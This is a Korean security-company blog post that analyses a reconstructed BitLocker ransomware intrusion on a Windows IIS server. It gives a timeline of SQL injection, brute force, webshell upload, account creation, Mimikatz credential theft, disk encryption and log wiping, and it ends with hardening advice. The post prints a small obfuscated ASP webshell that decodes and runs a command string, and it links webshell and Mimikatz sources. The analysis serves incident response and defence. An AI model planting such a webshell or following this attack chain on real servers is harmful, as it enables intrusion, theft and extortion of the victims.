메뉴 닫기

윈도우 비트로커 (Bitlocker) 랜섬웨어 사고사례 분석

 

안녕하세요. CloudV사업부 김현구 입니다.

윈도우 랜섬웨어(ransomware) 공격 중 BitLocker를 통한 랜섬웨어 감염 사례를 덤프를 통해 분석하고자 합니다.

 


1. 랜섬웨어 개념

 

랜섬웨어(Ransomware)란?

일반 사용자들의 파일, 동영상, 사진 등의 데이터들을 암호화하여 사용할 수 없게 만들고 복호화하여 다시 사용하고싶으면 금전을 요구하는 악성코드 입니다.

랜섬웨어는 파일공유사이트(P2P), 스팸메일(확인되지 않은 이메일), 신뢰할 수 없는 사이트(Drive-by-Download기법 활용)등 다양한 방법을 통해 유포 될 수 있습니다.

 


2. 관계법령

 

2-1. 공격자(해커)에 대한 법률

 

분석에 앞서 타인의 서버를 공격(해킹)을 하였을 경우 정보 통신망법에 위반하는 행위이며 제71조 제1항 (벌칙)에 따른 5년 이하의 징역 또는 5천만원 이하의 벌금에 처한다.

 

제48조(정보통신망 침해행위 등의 금지)

  1. 누구든지 정당한 접근권한 없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다.
  1. 누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손ㆍ멸실ㆍ변경ㆍ위조하거나 그 운용을 방해할 수 있는 프로그램(이하 “악성프로그램”이라 한다)을 전달 또는 유포하여서는 아니 된다.
  1. 누구든지 정보통신망의 안정적 운영을 방해할 목적으로 대량의 신호 또는 데이터를 보내거나 부정한 명령을 처리하도록 하는 등의 방법으로 정보통신망에 장애가 발생하게 하여서는 아니 된다.

 

제49조(비밀 등의 보호)  누구든지 정보통신망에 의하여 처리ㆍ보관 또는 전송되는 타인의 정보를 훼손하거나 타인의 비밀을 침해ㆍ도용 또는 누설하여서는 아니 된다.

 

2-2. 관리자에 대한 법률

 

제48조의3(침해사고의 신고 등) <2022. 6. 10.>

  1. 정보통신서비스 제공자는 침해사고가 발생하면 즉시 그 사실을 과학기술정보통신부장관이나 한국인터넷진흥원에 신고하여야 한다. 이 경우 정보통신서비스 제공자가 이미 다른 법률에 따른 침해사고 통지 또는 신고를 했으면 전단에 따른 신고를 한 것으로 본다

 

제48조의4(침해사고의 원인 분석 등) <개정 2022. 6. 10.>

  1. 정보통신서비스 제공자 등 정보통신망을 운영하는 자는 침해사고가 발생하면 침해사고의 원인을 분석하고 그 결과에 따라 피해의 확산 방지를 위하여 사고대응, 복구 및 재발 방지에 필요한 조치를 하여야 한다.

 

제34조(개인정보 유출 통지 등)

  1. 개인정보처리자는 개인정보가 유출되었음을 알게 되었을 때에는 지체 없이 해당 정보주체에게 다음 각 호의 사실을 알려야 한다.

          1-1. 유출된 개인정보의 항목

          1-2. 유출된 시점과 그 경위

          1-3. 유출로 인하여 발생할 수 있는 피해를 최소화하기 위하여 정보주체가 할 수 있는 방법 등에 관한 정보

          1-4. 개인정보처리자의 대응조치 및 피해 구제절차

          1-5. 정보주체에게 피해가 발생한 경우 신고 등을 접수할 수 있는 담당부서 및 연락처

 

제34조의2(과징금의 부과 등)

  1. 보호위원회는 개인정보처리자가 처리하는 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손된 경우에는 5억원 이하의 과징금을 부과ㆍ징수할 수 있다.
    다만, 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 개인정보처리자가 제24조제3항에 따른 안전성 확보에 필요한 조치를 다한 경우에는 그러하지 아니하다.

 


3. 침해사고 분석

실제 사례를 가지고 재구성한 덤프임을 알려드립니다.

 

환경 구성
  • 피해서버 IP (구성 환경) : 115.0.0.102 (Windows Server 2016, IIS 8.5)
  • 공격자 IP : 49.0.0.61 , 172.0.0.24

 

침해사고 TimeLine

No Date/Time Description
1 9 월 3 일 / 15:25:43 SQL구문삽입(SQL Injection), 크로스 사이트 스크립팅(XSS) 공격
2 9 월 3 일 / 15:46:13 무차별 대입 공격(Brute-Force Attack) 시행
3 9 월 3 일 / 16:03:32 test.cer, coon.asp // 파일 업로드 취약점 공격 
4 9 월 3 일 / 16:18:07 test 계정 생성 및 로그인 성공
5 9 월 3 일 / 16:35:20 Mimikatz 실행하여 관리자 권한 획득
6 9 월 3 일 / 16:49:43 Bitlocker 암호화
7 9 월 3 일 / 17:04:16 이벤트 로그 흔적 삭제

 

 


 

UGNOEYH-172824 서버 피해 분석 정보는 다음과 같다.

 

※ 해당 IIS 로그는 (UTC+0) 기준으로 기록 되어있습니다.

[사진 2] 49.0.0.61 공격자 / IP SQL구문삽입(SQL Injection) 공격

 

2022년 09월 03일 15시 25분

위 [사진 2] 로그와 같이 *SQLMAP 프로그램을 사용하여 IP 49.0.0.61을 가진 공격자가 SQL구문삽입(SQL Injection) 공격을 이뤄진 거로 확인되었습니다.

 


  • SQLMAP : 공개 모의침투 도구로 SQL구문삽입(SQL Injection) 취약점을 탐지/진단하고 데이터베이스로 접근할 수 있는 취약점 분석 도구

 

 

[표 1] 공격구문 HTML 인코딩(좌), 디코딩(우)

 

위 [표 1] 해석하였을 때 *크로스 사이트 스크립팅 (Cross Site Scripting, XSS), UNION *SQL 인젝션을 병행하여 공격한 것으로 확인되었습니다.

 


  • 크로스 사이트 스크립팅(Cross Site Scripting, XSS) : 공격자가 상대방의 브라우저에 스크립트가 실행되도록 해 사용자의 세션을 가로채거나, 웹사이트를 변조하거나, 악의적 콘텐츠를 삽입하거나, 피싱 공격
  • SQL 인젝션 (SQL Injection) : 악의적인 SQL 문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법

 

 

[사진 3] 172.0.0.24 공격자 IP / 무차별 대입 공격

 

2022년 09월 03일 15시 46분

공격자 IP 172.0.0.24의 경우 해당 서버 취약점을 찾기 위해 *무차별 대입 공격(Brute-Force Attack)을 먼저 시행한 것으로 확인되었습니다.

 


  • 무차별 대입 공격(Brute-Force Attack) : 비밀번호, PIN 번호, 암호화 키를 무작위로 계속해서 입력함으로써 해킹을 시도하는 공격 방식

 

[사진 4] 공격자 IP : 172.0.0.24 // test.cer, coon.asp 파일 업로드 및 삭제

 

 

2022년 09월 03일 16시 03분 ~ 2022년 09월 03일 16시 08분

공격자 IP 172.0.0.24의 test.cer 파일 업로드, coon.asp 파일 업로드, /upload/board/test.cer 파일을 삭제하고 coon.asp *웹쉘(WebShell) 을 사용하여, 파일 업로드 취약점 공격을 실행 한 것으로 확인되었습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
<%
<!––
Function SZIH(CMAL):
 CMAL = Split(CMAL,“%”)
 For x=0 To Ubound(CMAL)
  SZIH=SZIH&Chr(CMAL(x)–17)
 Next
End Function
EXecutE(SZIH(“37%47%52%6%16%72%51%586%69%347%51%34%21%41%51%58”))
––>
%>
 
cs

[표 2] coon.asp 웹쉘 코드


  • 웹쉘 (WebShell) : 웹페이지에서 서버에게 명령어를 실행하기 위하여 만들어진 프로그램이며 (ASP, JSP, PHP, CGI 파일 등) 형태를 가짐

 

[사진 5] 공격자 IP 172.0.0.24 // /mobile/hello/main.aspx 업로드, main.aspx 웹쉘 

 

2022년 09월 03일 16시 08분

공격자는 게시판의 파일업로드 취약점을 이용하였고 웹쉘을 3차례 업로드하여 진행한 점이 확인되었습니다.

 

[사진 6] test 계정 생성 및 로그인 성공

 

2022년 09월 03일 16시 18분

이벤트 로그와 레지스트리 파일을 통해 공격자는 16시 18분경 test 계정을 생성한 것이 확인되었고, test 계정으로 로그인 사실을 이벤트 로그를 통해 재차 확인되었습니다.

 

 

 

[사진 7] Powershell을 통해 Mimikatz 다운로드, 실행 예시

 

2022년 09월 03일 16시 25분

Windows Powershell을 기능 통해 Mimikatz* 다운로드 흔적을 이벤트 기록으로 확인하였습니다.

 


  • Mimikatz : 메모리에서 Hash, PIN, Kerberos Ticket, Password 등을 찾아내 탈취하는 도구

 

 

[사진 8] Administrator 관리자 계정 탈취

2022년 09월 03일 16시 45분

Mimikatz를 통해 Administrator 계정을 탈취 하여 로그인까지 성공한 것으로 확인되었습니다.

 

 

[사진 9] 공격자 Bitlocker 암호화 시도

 

2022년 09월 03일 16시 49분

Administrator 계정을 탈취하여 *Bitlocker를 실행한 뒤 서버 디스크를 암호화하였습니다.

 


  • Windows Bitlocker : Windows 에서 자체적으로 제공하는 기능으로 시스템 드라이브를 암호화하는 기능

 

[사진 9] Bitlocker 암호화 이후 흔적 삭제

 

2022년 09월 03일 17시 04분

최종적으로 공격자는 Bitlocker 파일 암호화를 진행한 후 이벤트 로그를 삭제하였습니다.

 

 

 


4. 사전 조치 방법 및 대응 방안

 

  1. 파일 업로드 실행권한 제거

          1-1. IIS 웹서버 파일 업로드 디렉토리 “실행” 권한 제거 방법

                  ▶ 업로드 폴더 우클릭 -> 등록 정보 -> 디렉토리 -> 실행권한 “없음” 설정

 

          1-2 [Apache 웹서버 – 파일 업로드 디렉토리 “실행” 권한 제거 방법]

                  ▶  Apache 설정 파일(/etc/httpd/conf/httpd.conf) 수정

                      파일 업로드 디렉토리에 .htaccess 파일 생성 및 아래와 같이 내용 작성

1
2
3
4
5
6
7
8
9
10
11
Directory “/usr/local/apache”>
AllowOverride FileInfo
</Directory>
<.htaccess>
<FilesMatch “\.(ph|inc|lib)”>
Order allow, deny
Deny from all
</FilesMatch>
AddType text/html .html .htm .ph .php .php3 .php4 .phtml .phps
.in .cgi .pl .shtml .jsp
 
cs
 
  1. 비정상 계정 생성 여부 모니터링
    ▶ cmd에서 ‘net user’ 입력

 

  1. 비정상 파일 생성 여부 모니터링
    ▶ C:\ProgramData 폴더 등에 비정상 파일 생성유무 점검

 

  1. 백신 실시간 기능 활성화
    ▶ 서버 및 PC에 백신을 설치하고 실시간 감시 기능 실행 및 자동 업데이트 설정

 

  1. 오프라인 백업
    ▶ 온라인으로 연결된 백업서버까지 암호화 되어 복구를 하지 못한 사례가 다수 있으므로 중요 자료는 별도 오프라인 백업 필요

 

이상 윈도우 Bitlocker 랜섬웨어 분석에 대해 분석하여 알아보았습니다.

감사합니다.

 


Reference

[Thumbnail] https://pixabay.com/ko/

[KISA] 2021년 랜섬웨어 스페셜 리포트 – https://boho.or.kr/data/reportView.do?bulletin_writing_sequence=36211

[Oracle] 랜섬웨어 정의 – https://www.oracle.com/kr/security/what-is-ransomware/

[Mitre] Minikatz 정의 https://attack.mitre.org/software/S0002/

[Cloudflare] brute force attack 개념 – https://www.cloudflare.com/ko-kr/learning/bots/brute-force-attack/

[Github] WebShell 소스코드https://github.com/ysrc/webshell-sample/blob/master/aspx/df68ea115a1bb71bc2f17c05df0e4be5cb273503.aspx

[Github] Minikatz 소스코드https://github.com/ParrotSec/mimikatz

[sqlmap] SQL인젝션 테스트 툴 – https://sqlmap.org/

[법률] 정보통신망 이용촉진 및 정보보호 등에 관한 법률 https://glaw.scourt.go.kr/wsjo/lawod/sjo190.do?contId=2232475#1663689518572

 

 

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x